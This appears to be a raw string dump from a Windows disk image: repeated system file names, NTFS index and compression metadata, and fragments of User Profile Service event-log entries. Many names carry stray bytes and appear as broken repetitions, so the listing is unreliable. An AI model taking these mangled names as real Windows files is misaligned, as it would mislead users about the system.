$DSC gdi32.dll gdi32.dll WofCompressedData $DSC $DSC GDI32F~1.DLL gdi32full.dll WofCompressedData $DSC GDI32F~1.DLL gdi32full.dll gdi32full.dll WofCompressedData $DSC $DSC GdiPlus.dll WofCompressedData $DSC GdiPlus.dll WofCompressedData $DSC GdiPlus.dll WofCompressedData $DSC GdiPlus.dll0 GdiPlus.dll WofCompressedData $DSC $DSC ca-ES-valencia $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui CatRoot $I300 &{127D0A1D-4EF2-11D1-8608-00C04FC295EE} &{F750E6C3-38EE-11D1-85E5-00C04FC295EE} {F750E~1 &{127D0A1D-4EF2-11D1-8608-00C04FC295EE} $I300 C04FC295EE} $I300 &{F750E6C3-38EE-11D1-85E5-00C04FC295EE} $I300 $I30 $I30 $I30 $I30 catroot2 $I300 $I30 $I30 $I30 $I30 {127D0~1 {F750E6C3-38EE-11D1-85E5-00C04FC295EE} {F750E~1 {127D0~1 {127D0A1D-4EF2-11D1-8608-00C04FC295EE} $I300 catdb.j catdb.jfm {F750E~1 {F750E6C3-38EE-11D1-85E5-00C04FC295EE} $I300 catdb.j catdb.jfm chr-CHER-US $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui en-US $I300 comrepl.exe.mui MigRegDB.exe.mui config $I300 COMPONENTS.LOG2 DRIVERS.LOG2T $I30 $I30 $DSC $TXF_DATA $TXF_DATA Journal $I300 $DSC RegBack $I300 $DSC en-US $I300 $I30 $I30 DismProv.dll.mui FolderProvider.dll.mui ImagingProvider.dll.mui LogProvider.dll.mui downlevel $I300 $I30 $I30 +API-MS-Win-Core-Kernel32-Private-L1-1-1.dll -api-ms-win-core-processenvironment-l1-2-0.dll $I30 $I30 drivers $I300 $I30 $I30 ClipSp.sys dxgmms1.sys fvevol.sys $I30 $I30? DriverData $I300 LogFiles en-US $I300 isapnp.sys.mui pci.sys.mui tpm.sys.mui $I30 $I30 cdrom.sys.mui cmimcext.sys.mui $I300 hosts lmhosts.sam networks protocol services $I300 UMDF $I300 $I30 $I30 en-US HidLampArray.dllll netadaptercxum.dll UsbXhciCompanion.dll pidgenx.dll pifmgr.dll PimIndexMaintenance.dll PimIndexMaintenanceClient.dll Pimstore.dll PinEnrollmentBroker.exe PinEnrollmentHelper.dll PING.EXE pkeyhelper.dll PkgMgr.exe PktMon.exed PktMonApi.dll pku2u.dll pl-PLP~ pla.dll plasrv.exel playlistfolder.dll PlaySndSrv.dll PlayToDevice.dll PlayToManager.dll playtomenu.dll PlayToReceiver.dll PlayToStatusProvider.dll ploptin.dll plutonapi.dll ProvSysprep.dll provthrd.dllst provtool.exemon ProximityCommon.dll ProximityCommonPal.dll ProximityRtapiPal.dll ProximityService.dll` ProximityServicePal.dll ProximityToast ProximityUxHost.exe prproc.exep prvdmofcomp.dll prxyqry.dll psapi.dll pscript.sep PSHED.DLL psisdecd.dll psisrndr.ax PSModuleDiscoveryProvider.dll psmodulediscoveryprovider.mof pt-BRM~ pt-PT ptpprov.dll puiapi.dll puiobj.dll PushToInstall.dll pwlauncher.dll pwrshplugin.dll pwrshsip.dll pwsso.dll qasf.dll qcap.dll qdv.dll qps-ploc qps-plocm quz-PE~ RotMgr.dlll ROUTE.EXEdl RpcEpMap.dllL rpchttp.dll RpcNs4.dll rpcnsh.dll RpcPing.exe rpcrt4.dll RpcRtRemote.dll rpcss.dll rrinstaller.exe rsaenh.dll rshx32.dlll rsop.msc.dl RstrtMgr.dll rstrui.exel rtffilt.dll rtm.dll RTMediaFrame.dllX rtutils.dll RTWorkQ.dll ru-RU RuleBasedDS.dll runas.exeex rundll32.exe runexehelper.exe RunLegacyCPLElevated.exe runonce.exe RuntimeBroker.exe SecurityAndMaintenance.png SecurityAndMaintenance_Alert.pngv SecurityAndMaintenance_Error.pngv SecurityCenterBroker.dll SecurityCenterBrokerPS.dll SecurityHealth SecurityHealthAgent.dll SecurityHealthCore.dll SecurityHealthHost.exeb SecurityHealthProxyStub.dll SecurityHealthService.exe SecurityHealthSSO.dll SecurityHealthSsoUdk.dll SecurityHealthSystray.exe SecurityHealthUdk.dll SEMgrPS.dll SEMgrSvc.dll sendmail.dll Sens.dlldll SensApi.dll SenseSubAuth.dlle.e SensorDataService.exets SensorPerformanceEvents.dll SensorRuntimeBroker.exe SensorsApi.dlln sfc_os.dlli SHCore.dlli shell32.dll ShellExperiences shlwapi.dll shutdownux.dll sk-SKE~ SensorsCpl.dlln SensorService.dll SensorsNativeApi.dllh SensorsNativeApi.V2.dll SensorsUtilsV2.dll sensrsvc.dllmon serialui.dllmon services.exemon services.mscmon ServicingCommon.dll ServicingUAPI.dll serwvdrv.dll.dl SessEnv.dll sessionmsg.exel setbcdlocale.dll sethc.exekL SetNetworkLocation.dll setspn.exea settings.datZ SettingsConfigTask.dll SettingsConfigTask.dll ibility.dll "SettingsHandlers_AdvertisingId.dll SettingsHandlers_AppControl.dll setupI~ setupapi.dllnce setupetw.dllnce sfc.dll sfc.exe sfc_os.dlli SHCore.dlli shell32.dll ShellExperiences shlwapi.dll shutdownux.dll sk-SKE~ !ltr rometadata.dll ruxim schedsvc.dll sdohlp.dlll security.dllth SensorsClassExtension.dll SettingsEnvironment.Desktop.dll %SettingsHandlers_ClosedCaptioning.dll SettingsHandlers_Gpu.dll )SettingsHandlers_OneCore_BatterySaver.dll !SettingsHandlers_StorageSense.dll sfc.dll shellstyle.dll sl-SI smss.exedll spfileq.dll sr-Cyrl-BA svsvc.dll SyncSettings.dll 'SystemSettings.UserAccountsHandlers.dll Tasks !TempSignedLicenseExchangeTask.dll threadpoolwinrt.dll tr-TR unattend.dllV uudf.dllUZ vsstrace.dll wevtapi.dll1 Windows.Storage.OneCore.dll2 winrmT~3 wmitomi.dll4 SettingsHandlers_Touch.dll !SettingsHandlers_Troubleshoot.dll SettingsHandlers_User.dll SettingsHandlers_UserAccount.dll #SettingsHandlers_UserExperience.dll SettingsHandlers_UserIntent.dll SettingsHandlers_WorkAccess.dll SettingSyncDownloadHelper.dll setupI~ setupapi.dllnce setupcl.dll setupcl.exe setupcln.dllnce setupetw.dllnce setupugc.exe setx.exel SFAPE.dll SFAPM.dll SfSEnclave.dll shacct.dlli shacctprofile.dll SharedPCCSP.dll ShareHost.dll sharemediacpl.dll ShareTargets.dllX SHCore.dlli shdocvw.dll shell32.dll ShellCommonCommonProxyStub.dll ShellConfigTask.dll ShellExperiences shlwapi.dll shutdownux.dll sk-SKE~ sfc.exe sfc_os.dlli SfSEnclave.dll shacct.dlli shacctprofile.dll SharedPCCSP.dll ShareHost.dll sharemediacpl.dll ShareTargets.dllX SHCore.dlli shdocvw.dll shell32.dll ShellAppRuntime.exe ShellCommonCommonProxyStub.dll ShellConfigTask.dll ShellExperiences ShellHost.exel shellstyle.dll shfolder.dll shgina.dlll shimeng.dll shimgvw.dll shlwapi.dll shpafact.dllll shrpubw.exe shsetup.dll shsvcs.dll. shunimpl.dllll shutdownext.dll shutdownux.dll shwebsvc.dll signdrv.dll SimAuth.dll SimCfg.dll sk-SKE~ skci.dll spinf.dll spmpm.dll spnet.dll spoolH~ spoolss.dll spoolsv.exe spoolsvworker.exe spopk.dll spp.dll sppc.dll sppcext.dll sppcomapi.dll sppcommdlg.dll SppExtComObj.ExeX sppnp.dll sppobjs.dll sppsvc.exe sppui sppwinob.dll sppwmi.dll spwinsat.dll spwizeng.dll spwizimg.dll spwizres.dll spwmp.dll sq-AL sqlsrv32.dll sqlsrv32.rll sqmapi.dll syncutil.dllL sysclass.dllL sysdm.cplll SysFxUI.dll sysmain.dll sysmon.ocxl sysntfy.dll Sysprep sysprint.sepexe sysprtj.sep SysResetErr.exe syssetup.dllL systemcpl.dllro SystemEventsBrokerClient.dll SystemEventsBrokerServer.dll systeminfo.exe. SystemPropertiesAdvanced.exe SystemPropertiesComputerName.exe +SystemPropertiesDataExecutionPrevention.exe SystemPropertiesHardware.exe SystemPropertiesPerformance.exe SystemPropertiesProtection.exe SystemPropertiesRemote.exel SystemSettings.DataModel.dll +SystemSettings.DeviceEncryptionHandlers.dll SystemSettings.Handlers.dll (SystemSettings.SettingsExtensibility.dll tapilua.dll TapiMigPlugin.dll tapiperf.dll tapisrv.dll TapiSysprep.dll TenantRestrictionsPlugin.dll termmgr.dll termsrv.dll tetheringclient.dll tetheringconfigsp.dlll TetheringIeProvider.dll TetheringMgr.dllrk. tetheringservice.dllll TetheringStation.dllll TextInputFramework.dll TextInputMethodFormatter.dll TextShaping.dll th-TH themecpl.dlltio $Themes.SsfDownload.ScheduledTask.dll themeservice.dlls.d themeui.dll ThirdPartyNoticesBySHS.txt ThreatExperienceManager.dll ThreatIntelligence.dll ThreatResponseEngine.dll thumbcache.dllo tier2punctuations.dll TieringEngineProxy.dll TileDataRepository.dll TimeBrokerClient.dll TimeBrokerServer.dll timedate.cpl.dl TimeDateMUICallback.dll tokenbinding.dll TpmCertResources.dll TpmCoreProvisioning.dll StateRepository.Core.dll svsvc.dll SyncSettings.dll 'SystemSettings.UserAccountsHandlers.dll tapi3.dlll Tasks !TempSignedLicenseExchangeTask.dll threadpoolwinrt.dll timesync.dll.dl tr-TR TsUsbGDCoInstaller.dll txflog.dll UiaManager.dllr unattend.dllV ur-PK UserDataAccountApis.dll uudf.dllUZ vds.exe0 wbengine.exe wdscore.dll wevtapi.dll win32kbase_rs.sys WindowManagementAPI.dll 'Windows.ApplicationModel.LockScreen.dll Windows.Devices.Background.dllD Windows.Devices.Portable.dlldll Windows.Gaming.Preview.dllP -Windows.Graphics.Printing.Workflow.Native.dll Windows.Storage.OneCore.dll winrmT~3 wmitomi.dll4 VIDRESZR.DLLH virtdisk.dllH VirtualMon.dll VirtualSurroundApo.dll vm3ddevapi64-debug.dll vm3ddevapi64-release.dllZ vm3ddevapi64-stats.dll vm3ddevapi64.dlllth VM3DDE~1.DLLnHe VM3DDE~2.DLLnHe VM3DDE~3.DLLnHe VM3DDE~4.DLLnHe #VmApplicationHealthMonitorProxy.dll vmbuspipe.dll vmdevicehost.dll\ vmGuestLib.dlle vmGuestLibJava.dll VMGUES~2.DLLide vmhgfs.dllo vmictimeprovider.dll vmrdvcore.dll VMWSU.DLLin VocabRoamingHandler.dll VoiceAccess.exe VoiceActivationManager.dll VoipRT.dll vpnike.dll vpnikeapi.dll VpnSohDesktop.dll VPNv2CSP.dll VscMgrPS.dll vsocklib.dll vssadmin.exe vssapi.dll WdsUnattendTemplate.xml WEB.rsh webauthn.dll WebcamUi.dll webcheck.dll WebClnt.dll webio.dllDe webplatstorageserver.dll WebRuntimeManager.dll webservices.dll Websocket.dllvc WebThreatDefSvc webthreatdefsvc.dll webthreatdefusersvc.dll wecapi.dll wecsvc.dll wecutil.exe wephostsvc.dll wer.dll werconcpl.dllll wercplsupport.dll.d werdiagcontroller.dll WerEnc.dllb weretw.dllb WerFault.exe WerFaultSecure.exe wermgr.exeb wersvc.dllb werui.dllab win32kfull.sys win32kns.sys win32spl.dll win32u.dllb Win32_DeviceGuard.dll winbio.dllb WinBioDatabase WinBioDataModel.dll WinBioDataModelOOBE.exe winbioext.dll WinBioPlugIns winbrand.dllShe wincorlib.dllhe wincredprovider.dll wincredui.dllhe WinCsFlags.exes windiag.dll windlp.dllv WindowManagement.dllnIn .dll Windows.AI.MachineLearning.dllD &Windows.AI.MachineLearning.Preview.dlll :Windows.ApplicationModel.Background.SystemEventsBroker.dll 2Windows.ApplicationModel.Background.TimeBroker.dll Windows.ApplicationModel.dllceD (Windows.Devices.HumanInterfaceDevice.dll Windows.Devices.Midi.dllN Windows.FileExplorer.Common.dll 'Windows.Internal.UI.Logon.ProxyStub.dll Windows.Media.Devices.dll windows.storage.dll "Windows.ApplicationModel.Store.dllc 5Windows.ApplicationModel.Store.Preview.DOSettings.dll 3Windows.ApplicationModel.Store.TestingFramework.dll #Windows.ApplicationModel.Wallet.dll Windows.CloudStore.dlln &Windows.CloudStore.EarlyDownloader.dlll *Windows.CloudStore.Schema.DesktopShell.dll #Windows.CloudStore.Schema.Shell.dll Windows.Cortana.Desktop.dll Windows.Cortana.OneCore.dll Windows.Cortana.ProxyStub.dlleD Windows.Data.Activities.dll Windows.Data.Pdf.dllnIn Windows.Devices.Background.dllD !Windows.Devices.Background.ps.dllic Windows.Devices.Bluetooth.dlleD Windows.Devices.Custom.dllf Windows.Devices.Custom.ps.dlleD Windows.Devices.Enumeration.dll Windows.Devices.Haptics.dll (Windows.Devices.HumanInterfaceDevice.dll Windows.Devices.Lights.dll Windows.Devices.Midi.dllN Windows.FileExplorer.Common.dll 'Windows.Internal.UI.Logon.ProxyStub.dll Windows.Media.Devices.dll windows.storage.dll VMGUES~1.DLLide vsstrace.dll wbengine.exe wdscore.dll wevtapi.dll wiarpc.dllp2 win32kbase_rs.sys WindowManagementAPI.dll 'Windows.ApplicationModel.LockScreen.dll Windows.Devices.Background.dllD Windows.Devices.Portable.dlldll Windows.Gaming.Preview.dllP -Windows.Graphics.Printing.Workflow.Native.dll (Windows.Internal.HardwareConfirmator.dll 1windows.internal.shellcommon.AppResolverModal.dll Windows.Media.dllll Windows.Media.Streaming.ps.dll +Windows.Networking.UX.EapRequestHandler.dll Windows.Storage.OneCore.dll Windows.System.RemoteDesktop.dll $Windows.UI.Input.Inking.Analysis.dll "Windows.UI.Xaml.Resources.21h1.dll %windowsperformancerecordercontrol.dll winrmT~ WinSyncProviders.dllZ WlanMediaManager.dllX wmitomi.dll wpx.dll Windows.Networking.Vpn.dll )Windows.Networking.XboxLive.ProxyStub.dll Windows.Payments.dll Windows.Perception.Stub.dll 5Windows.Security.Authentication.Identity.Provider.dll ,Windows.Security.Authentication.OnlineId.dll ,Windows.Security.Authentication.Web.Core.dll 4Windows.Security.Credentials.UI.CredentialPicker.dll 7Windows.Security.Credentials.UI.UserConsentVerifier.dll Windows.Security.Integrity.dll $Windows.Services.TargetedContent.dll #Windows.SharedPC.AccountManager.dll 'Windows.SharedPC.CredentialProvider.dll $Windows.Shell.BlueLightReduction.dll $Windows.Shell.ServiceHostBuilder.dll -Windows.Shell.StartLayoutPopulationEvents.dll Windows.StateRepository.dll !Windows.StateRepositoryBroker.dll !Windows.StateRepositoryClient.dll Windows.StateRepositoryCore.dll Windows.StateRepositoryPS.dll "Windows.StateRepositoryUpgrade.dll #Windows.Storage.ApplicationData.dll Windows.Storage.Compression.dll windows.storage.dll #Windows.System.SystemManagement.dll (Windows.System.UserDeviceAssociation.dlld 2Windows.System.UserProfile.DiagnosticsSettings.dll Windows.UI.Accessibility.dlller Windows.UI.AppDefaults.dllo Windows.UI.BioFeedback.dllo Windows.UI.BlockedShutdown.dllr Windows.UI.Core.TextInput.dller Windows.UI.Cred.dll #Windows.UI.CredDialogController.dll Windows.UI.dlld Windows.UI.FileExplorer.dll Windows.UI.Immersive.dll $Windows.UI.Input.Inking.Analysis.dll Windows.UI.Input.Inking.dll Windows.UI.Logon.dll "Windows.UI.NetworkUXController.dll Windows.UI.PicturePassword.dll Windows.UI.Search.dll Windows.UI.Shell.dll +Windows.UI.Shell.Internal.AdaptiveCards.dll Windows.UI.Storage.dll Windows.UI.Xaml.Controls.dll Windows.UI.Xaml.dll Windows.UI.Xaml.InkControls.dll Windows.UI.Xaml.Maps.dll Windows.UI.Xaml.Phone.dll WindowsCodecs.dll Windows.UI.Input.Inking.dll Windows.UI.Logon.dll "Windows.UI.NetworkUXController.dll Windows.UI.PicturePassword.dll Windows.UI.Search.dll Windows.UI.Shell.dll +Windows.UI.Shell.Internal.AdaptiveCards.dll Windows.UI.Storage.dll Windows.UI.Xaml.Controls.dll Windows.UI.Xaml.dll Windows.UI.Xaml.InkControls.dll Windows.UI.Xaml.Maps.dll Windows.UI.Xaml.Phone.dll "Windows.UI.Xaml.Resources.19h1.dll "Windows.UI.Xaml.Resources.21h1.dll $Windows.UI.Xaml.Resources.Common.dll !Windows.UI.Xaml.Resources.rs1.dll !Windows.UI.Xaml.Resources.rs2.dll !Windows.UI.Xaml.Resources.rs3.dll !Windows.UI.Xaml.Resources.rs4.dll !Windows.UI.Xaml.Resources.rs5.dll Windows.UI.Xaml.Resources.th.dll #Windows.UI.Xaml.Resources.win81.dll %Windows.UI.Xaml.Resources.win8rtm.dll Windows.UI.XamlHost.dll Windows.WARP.JITService.dll Windows.Web.dll WindowsCodecs.dll ws2help.dll ws2_32.dll WSAIFabricHost.dll wscadminui.exe wscapi.dlle wscinterop.dll wscisvif.dll WSClient.dll WSCollect.exedl wscproxystub.dllT wscript.exe wscsvc.dll wscui.cpll WSDApi.dll wsdchngr.dll WSDPrintProxy.DLL WsdProviderUtil.dll WSDScanProxy.dllZ wsecedit.dll wsepno.dll wshelper.dllL wshext.dlld wshhyperv.dll wship6.dll wshom.ocxDL wshqos.dllL wshrm.dllDL WSHTCPIP.DLLL wsock32.dll WSTPager.ax wtsapi32.dllL XAudio2_8.dll XAudio2_9.dll xcopy.exell xmllite.dll zh-CN zh-TW WofTasks.dll WofUtil.dll WordBreakers.dllZ WorkFolders.exe WorkfoldersControl.dll WorkFoldersGPExt.dll WorkFoldersRes.dll WorkFoldersShell.dll workfolderssvc.dll wosc.dll wow64.dllex wow64base.dll wow64con.dllX wow64cpu.dllX wow64win.dllX wowreg32.exeX Wpc.dll WpcApi.dll. wpcatltoast.png WpcRefreshTask.dll WpcWebFilter.dll wpdbusenum.dll wpdshext.dll WPDShServiceObj.dll WPDSp.dlll. wpd_ci.dll. wpnapps.dll wpnclient.dlll wpncore.dll wpninprc.dllml wpnprv.dll. wpnservice.dll wpnsruprov.dll wpr.config.xml wpr.exe Windows.Media.dllll Windows.Media.Streaming.ps.dll +Windows.Networking.UX.EapRequestHandler.dll Windows.Storage.OneCore.dll Windows.System.RemoteDesktop.dll $Windows.UI.Input.Inking.Analysis.dll "Windows.UI.Xaml.Resources.21h1.dll %windowsperformancerecordercontrol.dll winipsec.dll winrmT~ WinSyncProviders.dllZ WlanMediaManager.dllX wmitomi.dll WMVXENCD.DLL WpcDesktopMonSvc.dllP wpx.dll wshbth.dll wsnmp32.dll wudriver.dlll XblAuthTokenBrokerExt.dll XpsGdiConverter.dll dxgmms2.sys e1i68x64.syssys EhStorClass.sys EhStorTcgDrv.sys en-USR~ errdev.sys evbd0a.sys evbda.sys ExecutionContext.sys exfat.sys fastfat.sys fdc.sys filecrypt.sys fileinfo.sys filetrace.sys flpydisk.sys fltMgr.sys fsdepends.sys fs_rec.sys globmerger.sys hdaudbus.sys HdAudio.sys hidbatt.sys hidclass.sys hidi2c.sys hidinterrupt.sys hidparse.sys hidspi.sys HidSpiCx.sys hidusb.sys HpSAMD.sys http.sysJ hvsocket.sys hwpolicy.sys UMDF arcsas.sys ClipSp.sys dxgmms1.sys fvevol.sys i8042prt.sys intelppm.sys mspclock.sys netbt.sys pdc.sys scsiport.sys stexstor.sys ufxsynopsys.sys vmbkmcl.sys WdBoot.sysy vmbus.sys VMBusHID.sys vmci.sysnte vmgencounter.sys vmgid.syssy vmhgfs.sysy vmmemctl.sys vmmouse.sys vmrawdsk.sys vms3cap.sys vmstorfl.sys vmusbmouse.sys volmgr.sys volmgrx.sys volsnap.sys volume.sys vpci.sys vsmraid.sys vsock.sysSY VSTXRAID.SYS vwififlt.sys wacompen.sys wanarp.sys watchdog.sys wcifs.syssy werkernel.sys wimmount.sys WinAccel.sys WinAccelCx.sys winhv.sys winmad.sys winverbs.sys wmiacpi.sys wmilib.sys wof.sys WppRecorder.sys ws2ifsl.sys acpi.sys.mui afd.sys.mui agilevpn.sys.mui ataport.sys.mui bfs.sys.mui bthenum.sys.mui bthport.sys.mui BTHUSB.SYS.mui CAD.sys.mui cdrom.sys.mui cmimcext.sys.mui disk.sys.mui dmvsc.sys.mui dumpsd.sys.mui EhStorTcgDrv.sys.mui fltmgr.sys.mui fvevol.sys.mui hidbatt.sys.mui hidbth.sys.muiu hidclass.sys.mui http.sys.mui HvService.sys.mui i8042prt.sys.mui IndirectKmd.sys.mui iorate.sys.muii IPMIDRV.sys.mui .mui ndis.sys.mui ndisuio.sys.mui NdisVirtualBus.sys.mui netvsc.sys.mui ntfs.sys.mui nvdimm.sys.mui nvmedisk.sys.mui parport.sys.mui partmgr.sys.mui pcmcia.sys.mui pdc.sys.mui PktMon.sys.mui pmem.sys.mui pnpmem.sys.muiu processr.sys.mui qwavedrv.sys.mui rdbss.sys.mui rdpdr.sys.mui refs.sys.mui refsv1.sys.mui scfilter.sys.mui scmbus.sys.mui scsiport.sys.mui sdbus.sys.mui sdstor.sys.mui serial.sys.mui sermouse.sys.mui smbdirect.sys.mui spaceport.sys.mui srv2.sys.mui storqosflt.sys.mui tcpip.sys.mui vdrvroot.sys.mui VerifierExt.sys.mui vhdmp.sys.mui vmbus.sys.mui vmstorfl.sys.mui volmgrx.sys.mui volsnap.sys.mui wacompen.sys.mui wdf01000.sys.mui wfplwfs.sys.mui wof.sys.mui ws2ifsl.sys.mui tsusbflt.sys.mui tsusbhub.sys.mui tunnel.sys.mui usbhub.sys.mui USBHUB3.SYS.mui usbport.sys.mui usbstor.sys.mui USBXHCI.SYS.mui vdrvroot.sys.mui VerifierExt.sys.mui vhdmp.sys.mui vmbus.sys.mui vmstorfl.sys.mui volmgrx.sys.mui volsnap.sys.mui wacompen.sys.mui wdf01000.sys.mui wfplwfs.sys.mui winnat.sys.mui wof.sys.mui ws2ifsl.sys.mui wudfpf.sys.mui ztdns.sys.mui netiougc.exe.mui NETIOU~1.MUI netiougc.exe.mui $DSC NETJOI~1.MUI netjoin.dll.mui0 netjoin.dll.mui WofCompressedData $DSC netlogon.dll.mui NETLOG~1.MUI netlogon.dll.mui WofCompressedData $DSC NETLOG~1.MUI netlogon.dll.mui $DSC NETMAN~1.MUI netman.dll.mui netman.dll.mui WofCompressedData $DSC netmsg.dll.mui NETMSG~1.MUI netmsg.dll.mui WofCompressedData $DSC netprofmsvc.dll.mui0 NETPRO~1.MUI netprofmsvc.dll.mui WofCompressedData $DSC NetSetupSvc.dll.mui0 NETSET~1.MUI NetSetupSvc.dll.mui WofCompressedData $DSC nsisvc.dll.mui NSISVC~1.MUI nsisvc.dll.mui $DSC ntasn1.dll.mui NTASN1~1.MUI ntasn1.dll.mui $DSC WofCompressedData $DSC NTDLLD~1.MUI ntdll.dll.mui ompressedData $DSC ntfs.sys.mui ntfs.sys.mui NTFSSY~1.MUI WofCompressedData $DSC ole32.dll.mui OLE32D~1.MUI ole32.dll.mui WofCompressedData $DSC OLEACC~1.MUI oleaccrc.dll.mui oleaccrc.dll.mui WofCompressedData $DSC OneSettingsClient.dll.mui ONESET~1.MUI OneSettingsClient.dll.mui $DSC OpenWith.exe.mui OPENWI~1.MUI OpenWith.exe.mui $DSC profsvc.dll.mui0 PROFSV~1.MUI profsvc.dll.mui WofCompressedData $DSC propsys.dll.mui0 PROPSY~1.MUI propsys.dll.mui WofCompressedData $DSC PROPSY~1.MUI propsys.dll.mui $DSC pshed.dll.mui PSHEDD~1.MUI pshed.dll.mui WofCompressedData $DSC recdisc.exe.mui0 RECDIS~1.MUI recdisc.exe.mui WofCompressedData $DSC recover.exe.mui0 RECOVE~1.MUI recover.exe.mui $DSC refs.sys.mui refs.sys.mui REFSSY~1.MUI WofCompressedData $DSC refsdedupsvc.exe.mui REFSDE~1.MUI refsdedupsvc.exe.mui WofCompressedData $DSC smss.exe.mui smss.exe.mui SMSSEX~1.MUI $DSC spaceport.sys.mui SPACEP~1.MUI spaceport.sys.mui WofCompressedData $DSC SPACEP~1.MUI spaceport.sys.mui $DSC spaceutil.exe.mui SPACEU~1.MUI spaceutil.exe.mui WofCompressedData $DSC SPACEU~1.MUI spaceutil.exe.mui $DSC spp.dll.mui0 SPPDLL~1.MUI spp.dll.mui0 spp.dll.mui0 spp.dll.mui WofCompressedData $DSC sppc.dll.mui sppc.dll.mui SPPCDL~1.MUI WofCompressedData $DSC sppc.dll.mui sppc.dll.mui SPPCDL~1.MUI WofCompressedData $DSC SRH.dll.mui0 SRH.dll.mui0 SRHDLL~1.MUI WofCompressedData $DSC srv.sys.mui0 SRVSYS~1.MUI $DSC srv2.sys.mui srv2.sys.mui SRV2SY~1.MUI WofCompressedData $DSC srv2.sys.mui SRV2SY~1.MUI $DSC TAPI32~1.MUI tapi32.dll.mui tapi32.dll.mui tapi32.dll.mui tapi32.dll.mui $DSC TCPIPS~1.MUI tcpip.sys.mui $DSC TCPIPS~1.MUI tcpip.sys.mui tcpip.sys.mui WofCompressedData $DSC tcpipcfg.dll.mui TCPIPC~1.MUI tcpipcfg.dll.mui WofCompressedData $DSC usbstor.sys.mui0 USBSTO~1.MUI usbstor.sys.mui $DSC USBXHCI.SYS.mui0 USBXHC~1.MUI USBXHCI.SYS.mui WofCompressedData $DSC WofCompressedData $DSC user32.dll.mui WofCompressedData $DSC UserDeviceRegistration.dll.mui UserDeviceRegistration.dll.mui UserDeviceRegistration.dll.mui USERDE~1.MUI UserDeviceRegistration.dll.mui $DSC c_28603.nls0 c_28603.nls WofCompressedData $DSC C_28605.NLS0 C_28605.NLS WofCompressedData $DSC C_437.NLS C_437.NLS WofCompressedData $DSC C_500.NLS C_500.NLS WofCompressedData $DSC amd64_microsoft-windows-i..ional-codepage-core_31bf3856ad364e35_10.0.26100.7623_none_d282cc0cad3be835 $I300 C_20932.NLS C_850.NLSDL $I30 $I30 $DSC C_949.NLS C_949.NLS WofCompressedData $DSC C_950.NLS C_950.NLS WofCompressedData $DSC l_intl.nls l_intl.nls l_intl.nls l_intl.nls WofCompressedData $DSC locale.nls locale.nls locale.nls locale.nls WofCompressedData $DSC locale.nls locale.nls WofCompressedData $DSC normidna.nls normidna.nls WofCompressedData $DSC normnfc.nls0 normnfc.nls WofCompressedData $DSC normnfd.nls0 normnfd.nls WofCompressedData $DSC normnfkc.nls normnfkc.nls WofCompressedData $DSC normnfkd.nls normnfkd.nls WofCompressedData $DSC SortDefault.nls0 SORTDE~1.NLS SortDefault.nls WofCompressedData $DSC adicvls.sys $DSC adp80xx.sys0 adp80xx.sys0 adp80xx.sys WofCompressedData $DSC afd.sys WofCompressedData $DSC afd.sys0 afd.sys WofCompressedData $DSC dlttape.sys0 dlttape.sys WofCompressedData $DSC dlttape.sys $DSC Dmpusbstor.sys DMPUSB~1.SYS Dmpusbstor.sys WofCompressedData $DSC dmvsc.sys dmvsc.sys dmvsc.sys WofCompressedData $DSC Application Data APPLIC~1 Desktop Documents DOCUME~1t Microsoft Microsoft OneDrive MICROS~1 MICROS~291- Package Cache Packages91- PACKAG~191- regid.1991-06.com.microsoft SoftwareDistribution Start Menu STARTM~1te Templatese TEMPLA~1te USOPrivate USOShared VMware Whesvc AppV Crypto Device Stage DeviceSync Diagnosis DiagnosticLogCSP DIAGNO~1V EdgeUpdateL EDGEUP~1CRL IdentityCRL IDENTI~1 MapData MIDI NetFramework Network Provisioning Searchg Settings SmsRouter Speech_OneCore Storage Health User Account Pictures VaultC~ Windows Windows Defender Windows Defender Advanced Threat Protection Windows Security Health WINDOW~1 WINDOW~2 WinMSIPC WwanSvc SecurityHealthService.exe SecurityHealthService.exe WofCompressedData $DSC SecurityHealthSystray.exe SecurityHealthSystray.exe WofCompressedData $DSC tslabels.h tslabels.h tslabels.h $DSC usbperfsym.h usbperfsym.h USBPER~1.H usbperfsym.h $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational EventData Data File C:\Users\defaultuser0\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1000_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational LogonType LocalPath ProfileType Regular C:\Users\defaultuser0 Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Session Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1000_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\defaultuser0 Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\ntuser.dat S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational C:\Users\defaultuser0\AppData\Local\Microsoft\Windows\\UsrClass.dat S-1-5-21-3914889805-4071901059-918772286-1000_Classes Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Regular C:\Users\defaultuser0 Regular Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User Profile Service/Operational Microsoft-Windows-User Profiles Service Microsoft-Windows-User 